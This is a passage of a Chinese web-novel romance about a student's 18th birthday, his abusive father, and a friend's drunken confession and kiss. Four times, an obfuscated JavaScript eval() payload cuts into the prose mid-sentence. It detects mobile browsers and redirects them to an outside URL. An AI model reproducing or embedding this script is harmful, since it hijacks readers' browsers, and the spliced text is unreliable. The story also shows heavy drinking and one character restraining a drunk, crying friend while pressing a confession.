安闻真的累了,他把头靠在头枕上,身体慵懒地舒展着,半眯着眼睛养神,脑袋里还要想着晚自习做的数学题,辅助线画在外面比画在里面省步骤。 要不说林清宇是学霸呢。他基本就是书本一合,思想就能瞬间抽离,大脑分区十分合理。 他手指卷着安闻的袖口,时不时蹭到安闻手腕的皮肤,“你想好了没?想要什么生日礼物。” 安闻满脑子都是数学题,哪有时间想生日的事情,他敷衍着说,“我都说过了,你不作妖就行。” 林清宇手指的力度一紧,然后把手松开了,正正地坐在自己的座位上。 安闻感受到他的变化,揉了揉眉心,转过身来,半是安慰半是逗,“我真的没什么想要的。我觉得现在这样就挺好的。你要真想送的话,送我这学期期末上700分好不好?” 林清宇睨了他一眼,哼道,“你也真敢想,我现在还没上700。” 安闻伸手探他的下巴,林清宇好像胖了一些,下巴上有一点点软肉,安闻挠了挠那块软肉,“那就少一点。这个期末上690,怎么样?” 林清宇并没有马上回答,而是搓着手想了一下,“我尽量,这个是有可能的。”然后他把安闻作祟的手指捉在手里,“那生日当天,怎么过?” 这次安闻过生日,应该是不会再热闹了。一是中秋前一天,不知道高三还给不给放假,二是大家的注意力都在学习上,安闻也不好拖后腿。 所以其实今年的生日,安闻是没有期待的。十八岁生日也没什么重要的,在自己心里,他早就成年了。 “随便过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037438|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过吧。”说完他又转过头,“那天上课呢,咱们一整天都在一起,所以就是和你们一起过。” 第二天早上,手机闹钟响起,安闻按掉闹钟,晚上11点之后,安闻手机是勿扰模式,不会发出声音,但是电话消息都会进来。他看了一眼手机上三条消息,五通未接电话,全都来自安黎明。 来不及思考,他的回拨键已经按了出去,安黎明一人独居,电话在凌晨打来,还这么急。 听筒里的声音,响了很久才被接起。 “爸,你怎么了?”安闻急切地问。 “这么早打电话,打扰老子休息。”安黎明说了这么一句就挂了。 听声音,还是鼻音很重。不过中气十足的,应该没什么事情。安闻送了一口气,起床洗漱,然后奔上了林清宇的车。 高三早自习也提前了20分钟,错开上学早高峰时间。安闻理所当然地蹭林清宇家的车,还能在车上多眯一会儿。 作为报答,安闻每天请林清宇吃早餐,林清宇欣然接受。 小班的学习进度快,现在已经全部课程都学完了,进入了一轮复习。安闻在高二时没有跟过小班,所以复习起来比很多同学都要努力。 从前上课时候手机开静音,但是还是忍不住拿出来按两下,所以他现在上课就直接关机,到了放学再打开。 没想到第三节课课间,范玉红就站在门口叫他。 他出门的时候看见林清宇用疑惑的眼神看他,他摇了摇头,表示自己也不知道什么事情。 安黎明难受,把电话打到了学校,学校接待处又把电话转到了高三教研室,高三教研室的老师都知道安闻,所以就把范玉红的电话给了安黎明。 就这么转来转去,范玉红接到了安黎明的电话,说自己是安闻的父亲,自己生病了,想让儿子来看一下。 范玉红是安闻高一班级的班主任,大概知道安闻家里的情况。他先是表扬了安闻上课不开手机,然后跟安闻委婉地提了建议。 “安闻,高三情况特殊,你现在在小班学习劲头也挺足的。考上顶峰大学,和考上一本大学性质非常不一样。你回去跟家里谈一谈,让你父母克服一下,就这一年,不要耽误了孩子的前程。说不通的话,回来告诉我,我来沟通。” 安闻非常不好意思地跟范玉红道了歉,然后又请了两节课假。 本来他是想打电话告诉兰胜男的,但是一想,安黎明和兰胜男见面就要掐架,自己学习这边还能腾开点时间,还是自己去一趟,别给兰胜男找不开心的事。 这回走的时候,安闻跟林清宇打了声招呼,因为白天的课怕落下进度,麻烦林清宇笔记写详细一点。 安闻打车去了南岸新城,刚进门,就是安黎明劈头盖脸的一句,“怎么才来?我快死了。” 安闻被折腾地冒火,他把鞋往旁边一踢,“我得上学,你知道我高三了吗?地球不会围着你转,我也不能围着你转。” 安黎明站起来用拐棍杵地,“我要去医院。” 70.惊喜 安闻打车把安黎明送到了医院,挂了个呼吸内科的号。接诊的是个看上去年龄较大的医生,“就是普通流感,没有大问题。开上点药回去,一个星期就差不多好了。” 安黎明胡搅蛮缠,一直说自己难受,两天晚上睡不好觉,鼻子不通气,霸占着诊室不走,要求住院。 医生没办法,语气有点不耐烦,“医院没有空床位。你可以输液,会好得快一点。不过一般不建议,这点小病,吃点药就好,没必要往医院折腾。” 医生看安闻在旁边一言不发,还穿着校服,就转头问安闻,“还有其他家属吗?家住哪里?” 安闻不是一言不发,实在是觉得跟安黎明一起出现有点丢人,但医生问话,他还是老老实实回答,“没有其他家属了,家在南岸新城。” 医生一听,就知道了他的难处,直接给出解决办法,“那我给你开医嘱,你去社区医院找人上门输液吧。” 安黎明还想说什么,安闻按住他,跟医生礼貌道谢。 回了安黎明家,安闻先给他做饭,安黎明一直吵吵嚷嚷地要喝羊汤,说安闻做的面条没有味道。安闻没有理他,去社区医院请了护士来给打针,怕安黎明睡着错过拔针,还叫了个护工来看着他。 看着安黎明输上液,安闻才放心地回学校。 路上林清宇给安闻打电话,问他有没有吃饭,用不用给他打包一点,今天食堂的菜还不错。安闻说自己回学校想睡一会儿,吃过饭了,叫他不要担心。 安黎明在家输液三天,安闻也不想一直请假,就一直趁着午休和下午放学,打车来回奔波。来不及做饭,就提前打电话订餐,到了小区门口正好拿上饭。 跟安黎明吃完饭,收拾完再回学校上课。 黑板右上角的倒计时,已经显示238天,安黎明的感冒不用再输液。安闻终于闲下来不用两头奔波,而且今天是自己的生日,明天是中秋节。 今年中秋节恰好赶上周日,学校给了一整天的假,而且今天还免了晚自习。 说是高三要努力学习,但是毕竟都是不定性的孩子,上午大家就没心思学习了。 早自习之前,梁米递了纸条来,说好几天中午没见安闻,邀请安闻一起出去吃午饭。 安闻欣然前往。知道林清宇是安闻的跟屁虫,梁米当然也邀请了林清宇。 前两年自己生日,安闻都是请客了的。今年他也想请大家吃饭,但是卢远说有事,王光武说要做卷子,徐佑华要搬寝室,总之大家都没有时间。 说不失望是假的,安闻还挺喜欢热闹的,况且是自己生日。 中午放学,临出教室门,他还回头看了一眼,大家各忙各的,确实没有时间。 林清宇搂着他的肩去隔壁班叫梁米,出门就撞见了在门口鬼鬼祟祟的姚雨桐,姚雨桐看见两人先是一愣,然后用手指指教室里边,“额......我来找徐佑华。” 安闻顺着他的手指看向教室里,发现大家也在看门口,身体坐得笔直。他没有多想,在(1)班门口叫上梁米走了。 走到半路,安闻问梁米想吃什么。梁米支吾了半天,说想吃上次安闻在食堂买的绿豆饼。 林清宇拐了他一下,笑骂他没出息。不过还是拽着安闻去食堂排队,绿豆饼还是买三送一,这次却没人抢着吃了,甚至还剩下一块,被安闻攥在手里。 期间,安黎明给安闻打了两个电话,安闻以为他洗心革面,终于记得自己儿子生日了。没想到是让安闻过去给他做饭。安闻顶了安黎明几句,安黎明就又骂人,说自己难受,鼻子不通气,头疼,让安闻下午请假过去。 安闻这边已经答应了梁米一起吃饭,就跟安黎明说晚上过去。 第二遍电话打来的时候,安闻没接。 林清宇提议,既然都吃绿豆饼了,不如就还去那家刀削面吃饭吧。算是重走旧时路。安闻腹诽,真是哪壶不开提哪壶。但因为梁米说也想吃刀削面,终究是没说出什么来。 到了刀削面那里,梁米有话跟安闻说,让林清宇先去找座位。 安闻狐疑地看着梁米,梁米也不跟他直接对视,顾左右而言他,还要让安闻给讲一个化学题。 安闻因为安黎明的电话,实在心烦。看着梁米绕来绕去又有些想笑,他直截了当地问梁米,“你是不是给我准备了惊喜?” 梁米蓦然抬头,然后轻微地点点头,慢悠悠地从兜里拿出一张酒红色钢笔,“生日快乐。谢谢你帮我辅导。” 安闻接过来,看见上面刻着“金榜题名”,他开心地回了句“谢谢。”犹觉不够,想起来林清宇说的喜欢就要说出来,他伸手虚抱了一下梁米,“非常谢谢你,我很喜欢,祝福也喜欢,也祝你金榜题名。” 林清宇出来的时候,看到的就是这一幕,他两步上前把人拉开,看着安闻耳朵还红着呢,审视地看了一眼梁米,梁米摊摊手没解释,但脸上露着的笑非常明显。 “里面没有空位置了。”林清宇说。 安闻手里握着钢笔,给出了planB,“那咱们去吃乌冬面吧。” 梁米动也没动等着,林清宇拉住安闻手腕,狡黠地说,“还有一个包间,我们可以坐。来都来了,进去吧。” “三个人坐包间不好吧?”安闻问。 "什么不好的,我又不是不付钱。"林清宇答。 安闻被拉着手腕往里走,中午吃饭的人确实多,但安闻还是看到了里面有一个四人小桌空着。他停下脚步说,“坐那里吧,有空桌。” 林清宇拉着他的脚步没停,梁米也在后面推着他,“那桌预定出去了,你快走吧。” 走到包间门口,前面的林清宇突然停下,很自然地把他拉到前面,安闻也没有多想,直接推开了门。 “砰砰砰——”手拧小礼炮响了好几个,“生日快乐!” 熟悉的朋友都在包厢里,安闻一时没反应过来,看着包间墙上贴着的“happy birthday”气球,还有大家手里拿的小礼炮,桌子上堆满了礼物盒。 安闻感觉自己开心地快要晕倒了,他下意识去看门外的梁米和林清宇,两人就在后面看热闹,梁米走上前来,把安闻推到主座上去,“我为了保住大家的惊喜,都把自己的惊喜提前贡献了。” 由失望到受宠若惊,这个落差险些让安闻泪洒当场。他哽住了,硬生生把眼眶里的眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047877|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憋回去,才开口,“真是太惊喜了。” 他不知道怎么表达自己的感谢,笨拙地当众拘了一躬。 卢远吵吵嚷嚷地开始张罗,“快快快吃饭了,下午还要上学呢。” 叶笑笑和罗晴帮忙把桌上的礼物收拾了,安闻看着忙碌的罗晴轻声说了声“谢谢。” 罗晴顿了一下,“不用谢。”然后绽开了一个大大的笑,“今年的蛋糕还是我买的,只是你已经没有去年的待遇了。” 安闻看着她,再一次郑重地道谢。 被安黎明谩骂的坏心情一扫而空,中午的惊喜甚至让安闻有了期待,也许安黎明是不知道怎么当好一个父亲,也许他也是想给自己惊喜的。 账单林清宇已经结过,这次还没等安闻发作,他就拿着账单主动过来邀功,“你看,我没作妖,也没准备礼物,只有一份账单,聊表心意。” 不让作妖,不送礼物,都是安闻自己要求的,林清宇照做,按说安闻应该开心的,此刻却心里有点空。 下午放学,兰胜男给安闻打电话让他早点回家,说自己在家做了饭,给儿子庆祝十八岁生日。 因为心里藏着一份对安黎明的期待,他如实跟兰胜男坦白,“妈妈,中午我爸说让我放学去他那边。” 兰胜男的声音里听不出失望,反而是鼓励安闻,“没事的,宝宝。那我就去你周叔那边啦,儿子生日快乐。你去你爸那边过生日吧,难得十八年了,他才有点人味儿。去吧去吧,多去看看你爸。” “妈妈......谢谢你。” 安闻放学之后,去菜市场买了一些羊脊骨和羊肉羊杂。安黎明说了好几天想喝羊汤,今天有时间可以熬,明天就能喝了。 他兴冲冲地来到安黎明家,才真正体会了什么叫做不抱希望就不会绝望。 安闻进门后,安黎明的第一句话就是,“怎么来这么晚,我要去医院。” 脸上的笑还没来得及收,僵着的脸像一张假面。安闻放下手里的东西,问他怎么了。 “怎么了?你还问我怎么了?你不来伺候我,就让你妈来。你们母女俩不舍得给我花钱,就把我放家里,连个伺候我的人都没有,保姆也不给我找了,输液也不给我输了,你就想我赶紧病死是不是?” 安闻攥紧了拳头,进了厨房,自顾自忙活起来。安黎明却不肯罢休,追进厨房胡搅蛮缠,“我要去医院住院,医院起码有护士伺候我。” 安闻把材料都下了锅,文火慢慢煨着,羊汤得熬五六个小时才浓郁。安黎明还在身后喋喋不休,大概就是要钱,要住院,要有人伺候。 安闻洗了手,回头问,“爸,你知道今天什么日子吗?” “什么日子?老子才不管什么日子,要么今天给我找保姆,要不就让我住医院去。” 安闻真的累了,他把手擦干,心平气和道,“羊汤你睡觉前关火,明早起来再接着熬。我明天上午来看你。” 安黎明一看安闻要走,伸手抓住他的衣襟,扯着大嗓门喊道,“不行,你不能走,我鼻子不通气。晚上睡觉难受死了,你待着伺候我。” 安闻挣脱开他的手,无力道,“爸,今天是我生日。” 71.醉酒 安闻是出生在姥姥家的,下午四点多,只有小姨和兰胜男在家。 那时候离预产期还有两个多月,没有出血,没有破水,兰胜男肚子发紧,以为是假性宫缩,没在意。 等反应过来要生了的时候,已经疼得走不动路。 得亏是中秋节前夜,邻居家都有人,女人们赶来照顾,男人们出门找车。 可是,那个年代,车本来就不多,出租车挺金贵的,一听是要拉生孩子的人,都没人愿意。 人们眼看着红彤彤的孩子出生,眼看着兰胜男的脸渐渐失了血色,束手无策。 天色渐黑,小姨边哭边喊,所幸遇到了开车回家的林勇平。林勇平赶到的时候,兰胜男身下已是血红一片。 兰胜男醒来后,姥爷商量着孩子跟“兰”姓,是兰胜男说,“安”挺好的,平平安安。她抱着才四斤多的奶娃娃,给他取名叫安闻,取安稳的谐音,只希望他安稳一生。 可偏偏,安闻活了18年,所有的不安稳,都是姓安的给的。 安闻心里一阵绞痛,他用手揉了揉太阳穴,无力地对安黎明说,“你让我安稳地过个生日,行吗?” “我让你过个安稳生日?我自己日子都不安稳,你凭什么过个安稳生日?”安黎明依然扯着嗓子,非常不爽。 安闻此时的声音近乎哀求,“就这一天,爸,有什么事情,咱们明天再......” “我就问你,你给不给我找保姆!”安黎明打断了他的话,吼了一声。 安闻的火蹭得一下窜上了头顶,他也大吼,“安黎明,我欠你吗?” 安黎明瞪着眼睛跟他对吼,“你他妈就是欠我的,过你妈b生日,当年要不是老子把你射出来,你他妈能逍遥的跟我在这里谈过生日?” 安闻气得全身都在发抖,他没有理会安黎明的污言秽语,从兜里拿出一颗糖,抖抖瑟瑟地撕开包装,塞进嘴里,没有说话直接走了。 身后传来了安黎明嘶吼的声音,“你想我死是吧?那我就死给你看,你个狗杂种,逼死亲爹,看大家伙儿怎么戳你脊梁骨,怎么喷你唾沫星子......” 从安黎明家出来时,天将黑不黑。 兰胜男知道自己在安黎明这里,应该回周叔那边了。安闻不想重复上次江边晕倒的惨状,就随便找了个兰州拉面。 坐下时候,一个中年男人过来点单,那人笑脸盈盈,看着面善,安闻也没抱希望,但还是提出了请求,“老板,今天是我生日,能给我只做一根面吗?我想吃碗长寿面。” 老板笑着答应,还祝安闻生日快乐。 一碗长寿面上桌,老板附送了一个巧克力派,“生日都要吃蛋糕的,这是我儿子的,勉强能当做生日蛋糕吧。” 安闻礼貌道谢,拿起筷子品尝这碗长寿面,吃了长寿面,平平安安,健康长寿。 这碗面,很劲道,只是味道有些苦涩,他低着头,全部泪水都流进了汤里。可他还是全吃完了。 陌生人尚且能释放善意。安闻不知道自己究竟欠了安黎明什么,为什么每次他都能那么心安理得地索取。 天黑透了,今天的月亮又亮又圆,明天就是中秋节。 安闻沿着马路散步回家,一只蘑菇蹲在自己家门口,旁边还放了一个方形盒子,是Q市有名的蛋糕店的logo。 他眨巴眨巴眼睛,用手背擦了擦,快步上前,“林清宇?” 那只蘑菇蓦然抬头,安闻竟一时分不清,他的眼睛和今夜的月光哪个更亮一些。可能还是林清宇的眼睛吧,不然怎么自己一对上那双眸子,心里就只剩下欢喜。 “你怎么才回来啊?我腿都蹲麻了。”林清宇借着安闻胳膊的力站起来,跺了跺脚。 安闻知道现在九点多了,但是不知道林清宇在这里蹲了多久。他也弯下腰,帮林清宇锤一锤麻木的腿,“抱歉啊,我去我爸那边了。” 头都低下来了,不揉白不揉,林清宇揉了下安闻的脑袋,失笑道,“你今天好乖啊,又不知道我要来,你抱歉什么?” 安闻有点愣,径直掏出钥匙开门,把林清宇让进院子里,“怎么不给我打电话?” “打电话还有惊喜吗?晚上我想单独给你过生日。“林清宇晃着手里的袋子,“你的生日礼物我得当面给你,被别人看到,他们嫉妒怎么办。” 进门,开灯,放下书包,安闻迫不及待地看礼物,但还是忍不住口是心非,“说了不要礼物,你找揍是不是?” “这个礼物,是你跟我要的啊,我当然会满足你。”林清宇的话听起来让人耳朵发痒,安闻却知道他的话里有话。 说一套做一套安闻可太会了,他甘之如饴,却振振有辞,“我哪有那么不矜持。”嘴上很矜持,但是手还是快速打开了礼品盒子。 林清宇把蛋糕先放在餐桌上,又返回来玄关看他,“喜欢吗?你的690分。” “都是你整理的?”安闻皱着眉头翻着手里的三本笔记,薄荷绿皮质封面,化学,数学,物理,三门所有的重难点知识,既有分模块的部分,也有系统整合的部分,非常详尽,还有例题,都是安闻掌握不扎实,或者变型就拿不住的。 再往后面看,还多加了很多竞赛题。 这三本笔记下来,不知道林清宇得废多少功夫。 “我开学前就开始整理了,本来想循序渐进,让你第二轮复习的时候用。没想到,你倒是贪心,这个期末就想上690。”林清宇刮了一下他的鼻子,握着他的手腕把他拉进客厅,“我后面又提高了难度,加了一些题,你如果能把这三本笔记吃透,差不多能上690了,只是要辛苦些。” “不辛苦,我吃现成的哪里辛苦,你整理这么多笔记,很辛苦吧。”安闻把笔记抱在怀里,把自己团成了一个球,窝在沙发上,他侧脸靠着沙发,柔声说,“林清宇,我该怎么谢谢你?” 林清宇也学着安闻的姿势,把自己团在沙发上,“那分我一半蛋糕吃?我晚饭没有吃饱。” 两人谁也没有动,就静静的,化身为沙发上的两朵蘑菇,两两相望。安闻认输,缴械投降,他站起来看着林清宇,“等我一下,我先去洗澡,身上一股羊膻味,臭死了。” 林清宇坐在沙发上闭眼养神,下午放了学,知道安闻有事,他赶紧回家吃了饭洗了澡,换掉又跑去蛋糕店,亲手做了蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062440|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一刻没停跑到安闻家敲门,发现家里没人。 不过,他在安闻家门口蹲了20多分钟,安闻就回来了,可他还是装可怜博取了安闻的心软和同情。 身边的沙发下陷,清新的沐浴露味传来。林清宇睁开眼,安闻坐在他旁边擦头发,湿漉漉的头发,泛红的眼睛,短袖短裤露着雪白透粉的皮肤。 “你累了?”安闻有些不好意思,“抓紧切蛋糕吧,吃完你早点回家睡觉。” 林清宇拉着他的手腕,故作委屈地撒娇,“我今晚不能在这儿睡吗?” 从太连山回来,林清宇很识趣地没有来安闻家借宿过。这是回来之后,他第一次提起,安闻不知道该怎么回答。 他是想让林清宇留下的,但是他又不想让林清宇留下。他自动跳过了这个话题,“来切蛋糕吧。” “再等等。”林清宇阻止,“厨房,我刚才看见有几个菜。热一下吃了再切蛋糕吧。” 兰胜男说晚上做几个菜给安闻庆祝生日,安闻选择了去安黎明那里讨苦吃。看着厨房料理台上的六个菜,安闻百感交集。 他把菜简单热一下,端上桌,给兰胜男拍了照片;[妈妈,谢谢你,18年前的今天,你辛苦了,你做得菜非常好吃,我爱你。] 消息刚刚发过去,兰胜男就回复过来:[宝宝,到家就好。睡前少吃一点,不然肚子难受。] 一样的逃避安闻说爱,一样的关心安闻身体,兰胜男一直就是这样,吃过那么多苦,从来不说,还一直教育安闻要大度宽容。 安闻突然想喝点酒,他询问林清宇的意见,“林清宇,你想不想喝一点儿酒?” “如果你想,我可以陪你喝一点。” 兰胜男和安闻酒量不行,家里本来是没酒的。但是白月洁和林勇平每次来都会带一瓶红酒,说是养生,让兰胜男也喝点。 久而久之,家里也攒了不少酒。 安闻只是想喝点酒,但并不想醉,他拿了一瓶红酒出来,心里告诫自己只喝一杯。 虽然林清宇每次都说自己酒量不好,三杯就倒。但安闻觉得事实并非如此。 一杯酒下肚,安闻的脸就粉嘟嘟的了。林清宇面不改色地问他,“今天是不是不开心?” 安闻又给自己倒了一杯酒,一饮而尽,“跟我爸吵架了。” 酒确实是好东西啊,怪不得安黎明爱喝。安闻觉得自己现在心情开阔,心胸舒畅。 理智劝说他多说无益,谨言慎行,可是两杯酒下肚,还哪有理智可言。 他倒豆子一样跟林清宇诉苦,“安黎明那个混蛋,他不配当我爸,全世界都欠他,我和我妈不欠他。” 林清宇按住他还想倒酒的手,“别喝了,红酒劲大,明天该头疼了。” “红酒劲儿大......”安闻机械地重复,“我家还有别的酒,今晚一醉方休。” 林清宇看着他跑进卧室,拎着一个红色的瓶子出来。 安闻像个电视购物主持人一样端着那酒,介绍道,“卢远从海南拿回来送我的......我兄弟想着我,送我的。嘿嘿,大补。”他把手往前一伸,“鹿龟酒,今天便宜你了。” 72.厮磨 安闻的眼睛蒙着一层薄雾,看上去却摄魂夺魄。林清宇接过那酒,放在一边,哄着他,“好好好,便宜我了。” 安闻喝了酒脾气还挺大,他夺过酒瓶就要发作,“别哄我,让你开你就开。” 林清宇只好依他,给鹿龟酒开瓶。 安闻当即给自己倒一杯,一饮而尽,喝完还吧砸吧砸嘴,“不好喝,一股药味,你尝尝。” 林清宇明明没有喝醉,却感觉自己醉了。一时间分不清,安闻是邀请他尝酒,还是尝尝那抹薄唇。 安闻酒量真的小,他感觉有点飘,安静地缓了一会儿,桌上的东西一口都吃不进去了。 他甩甩脑袋,感觉好像有人在他颅内跳舞,加上头顶那盏吊灯,目之所及天旋地转。拿着酒杯酒瓶,摇摇晃晃地往客厅走,林清宇短暂地扶他一下,确定他还能走直线才松开。 安闻晕晕乎乎地坐在沙发上,豪迈地把酒瓶往茶几上一放。身体后靠,双臂张开搭在沙发背上,翘着个二郎腿,拍拍身边的位置,趾高气昂道,“来,切蛋糕。” 这副明明软糯又装霸气的醉鬼样子真是可爱极了。耀武扬威的安闻此刻一定没想到,自己现在的样子,在林清宇看来,是可爱俏皮的。 林清宇想,为什么安闻喝醉会卖萌?为什么要嘟嘴? 他端着蛋糕放在茶几上,发现安闻已经喝了小半瓶。他强硬地夺下安闻手里的酒杯,冷声说,"不能再喝了。" 安闻觉得醉得厉害,看林清宇都是重影。但又感觉自己没有醉,还能认出来这是林清宇。 他天性吃软不吃硬,听到林清宇的冷声,竟被激起了一丝叛逆。他越过林清宇去夺他手里的酒杯,最后直接扑在林清宇身上。 林清宇嗓子里干得厉害,像有火在烧一样,脑袋一片空白,他撑着坐起身,意识回笼,迟缓地推开了安闻。 林清宇喝了一口酒,嗓子还是干,他逼迫他坐直,虎口掰着他的脸,让他去看茶几上的蛋糕。 自己过生日时,安闻送的蛋糕,是纯白色简约款,上面只有两行字,“向着光,弟弟生日快乐。” 这个蛋糕是林清宇仿照那个做的,他想了好久,终于下定决心。 也是纯白色简约款,比安闻送的蛋糕更加简洁,上面只有一行字,“你就是光。” 安闻醉眼朦胧,思维混乱,林清宇自然是没有指望这个醉鬼能看懂。 他拿过安闻的手机,命令安闻蹲在蛋糕旁边,给蛋糕和安闻拍了张合照,以防明早起来,蛋糕一片狼藉,安闻不认账。 安闻蹲在蛋糕旁边,愣愣地看着蛋糕,然后小猫儿似的伸出舌头舔了一口蛋糕边,鼻尖上沾了些奶油,抬脸憨笑着跟林清宇说,“真甜。” 林清宇一瞬间着了魔,他用手抹掉安闻鼻尖的奶油,痴痴地舔舔指尖,傻了似的跟着安闻重复,“真甜。” 安闻看他用手指吃蛋糕,也伸出手去戳蛋糕,林清宇怕他弄得到处都是,只能抓着他的手说,“别用手。” 安闻下意识抬杠,“那你喂我。”说着还张开嘴,伸出了粉红的舌头。 这样软绵绵的小猫儿趴在自己腿边,林清宇如果还能忍就真的无欲无求,可以立马剃了头发出家去了。 他一把拉起安闻,让他靠在沙发上。然后五指轻轻地从安闻头发里插进去,稍微用了点力道,强迫他仰起头,声音微喘但克制,“我不想趁人之危的。” 安闻好像听懂了林清宇的话,挣扎着想捂耳朵,被林清宇用了些力度禁锢住。 “安闻,我17岁的时候,你让我向着光。”林清宇温柔又粗暴地迫使安闻看向蛋糕,“现在,你看看清楚,我想告诉你,你就是光。” 安闻虽然反应迟钝,但他确定自己听懂了。他眼睛没有看着林清宇,剧烈地挣扎,企图挣开林清宇的禁锢。 但他喝了酒,实在使不上力气,只能使劲摇头,阻止林清宇继续说下去。 林清宇不管不顾地继续剖白,“你就是我的光。我一生唯一向着的光。” 安闻抵制不住,声音里带着哭腔,颤声乞求,“林清宇,不要说。求你不要说。” 林清宇看着他眼泪汪汪,第一次没有纵容安闻的要求,他目光笃定地看着安闻,也强迫安闻看着自己,残忍又深情,“安闻,我喜欢你。我不知道从什么时候开始的,但等我发觉,我就已经斩不断对你的感情了。” 安闻一直在摇头,用手推着林清宇的胸膛,声音断断续续,近乎绝望,“不要......说出来......求你......不要......说......” "你说你喜欢男人,你说你不喜欢我。我知道你说谎,我知道你的顾虑,两个男人不能在一起,你怕世俗的压力,我知道。但是安闻,我忍不了,我来保护你,我替你撑腰,你也为了我勇敢一次好不好。" 安闻还在摇头,眼泪一滴一滴地落在林清宇的手上,“不是......不是......林清宇,不是这样的......” “那是什么样的?安闻,是我自作多情?你敢说你不喜欢我?”林清宇把他拉得更近,近到分不清彼此的呼吸。 安闻没有地方去躲,只能看着他,也许是喝多了,也许是动情,也许是自己真的伤了他的心,林清宇在流泪。 头真疼,又胀又疼。看到林清宇的眼泪,眼睛也跟着疼。安闻现在感觉全身都疼,像有针在扎,又像被拧着心尖儿。 他目不转睛地看着林清宇的眼睛,可是他看不清,视线模糊,双目迷离。 “林清宇,再喝一点儿酒吧。”安闻不再挣扎,林清宇也泄了力气。 他转身给林清宇倒酒,却被林清宇直接夺了酒瓶,对瓶豪饮,林清宇疯了,安闻却笑了。 他半眯着眼睛看着林清宇,轻声说,“林清宇,明天都忘了好不好。” 虽然是问句,但他更像是在自言自语。 “你喝多了就会断片,那今晚我们一起醉。”他拉下林清宇手里的酒瓶,单膝跪在沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078284|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双手捧起林清宇的脸,虔诚地在林清宇唇边落下一吻。 林清宇头脑尚有清明,他看着安闻慢慢凑近,看着他目乱情迷,看着他眉目带笑,然后感受到了唇边的柔软和炙热。 林清宇盯着安闻凸起的喉结看了会儿,身体比脑子反应更快,一只手臂揽着安闻的腰,抬手扣住安闻的后脑勺,把刚刚离开唇边的安闻禁锢住。 他的唇抵住他的唇,他的胸膛贴上他的胸膛。安闻几乎瞬间僵住,他感觉到林清宇在轻轻吮吸他的嘴唇,双唇像过电一样酥麻。 安闻青涩,只觉唇边轻点已是极限。 但林清宇却用舌头撬开他的唇,近一步去舔舐他的牙齿。安闻动也不敢动,就任由林清宇采撷。 然后林清宇退出来,亲吻他的脸颊,耳朵,用微哑的声音在耳边诱引,“宝宝,是初吻吗?” 安闻紧咬牙关没有说话,林清宇吻回来,继续含吮他的唇,一只手在他的头发里游走,情动的声音继续在勾引,“宝宝,张嘴,让我进去。” 一时间,牙关失守,林清宇大摇大摆地进来攻城掠地。 安闻没有这方面的经验,他觉得自己口腔里的空气被一寸一寸吸干 ,他手脚无力,喘不上气。 可林清宇还在得寸进尺,他的手指用了力,将安闻箍得更紧,“宝宝,接吻要动一动舌头。”他用牙齿轻咬安闻的舌尖,惹得安闻一阵战栗。 滚烫的唇舌厮磨安闻微凉的唇舌,这感觉非常不熟悉,安闻满心满脑都充斥着陌生的跃动。 但这跃动来自林清宇,他试着动了动舌尖,林清宇的舌头便追过来和他纠缠在一起。 他浑身都像着了火,几乎烧光了所有残存的理智,忽然觉得,这一生,现在才是真的死而无憾了。 他伏在林清宇肩膀上发抖,脸颊、脖颈、耳根,全是红色,嘴唇眼睛湿漉一片。 林清宇严丝合缝地抱着他,耳畔是安闻的喘息难平。 他酒劲儿上来了,脑袋昏昏沉沉,却还不舍得撒手,“小东西,还说你不喜欢我。” 安闻的唇边垂着涎水,脸埋在林清宇肩膀上,迷迷糊糊地嘴硬,“不喜欢,不喜欢你。” 安闻抱了一会儿就犯困,软绵绵地趴在林清宇肩头,鬓角的头发懒洋洋地搭在他脖颈上。 林清宇轻轻地抱他起来,安闻骨架小又消瘦,报在怀里又轻又软,小小的一团。 林清宇酒精上脑有些醉,他小心翼翼地把安闻抱回卧室,给他换了睡衣,放进被窝里,还掖了掖被角。 安闻翻了个身,侧身蜷成一团,把自己抱住,这是缺乏安全感的姿势。 